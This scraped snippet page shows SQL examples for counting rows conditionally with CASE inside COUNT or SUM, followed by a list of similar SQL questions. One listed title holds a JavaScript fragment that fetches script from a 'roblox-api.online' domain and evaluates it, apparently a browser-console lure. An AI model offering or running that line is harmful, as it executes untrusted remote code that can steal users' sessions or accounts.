Count with where

Condition in count sql

select count(case Position when 'Manager' then 1 else null end)
from ...


select sum(case Position when 'Manager' then 1 else 0 end)
from ...

Count with where

select count(case Position when 'Manager' then 1 else null end)
from ...

Source: stackoverflow.com

Count with where

SELECT 
    DATE,
    COUNT(DISTINCT CASE WHEN TYPE = 'Existing' THEN ID END) AS "EXISTING",
    COUNT(DISTINCT CASE WHEN TYPE = 'New' THEN ID END) AS "NEW"
FROM 
    mytab
WHERE 
    DATE >= '2022-01-01'
GROUP BY    
    DATE ;

Source: niceans.com

Similar codes

1 vote185 views2 answers
Mysql does sentance contain word
SQL
4 votes181 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
3 votes183 views1 answer
Select without null values sql
SQL
0 vote189 views1 answer
Postgresql alter column nullable
SQL
0 vote221 views1 answer
Alling a function from PL/SQL in a select statement in ORACLE
SQL
0 vote183 views1 answer
Access refused mysql xampp server
SQL
0 vote215 views1 answer
New rails app with mysql
SQL
0 vote214 views1 answer
Compare subqueries oracle
SQL
0 vote186 views1 answer
Sql replace id with name from another table
SQL
0 vote207 views1 answer
Mysql query to select the highest value
SQL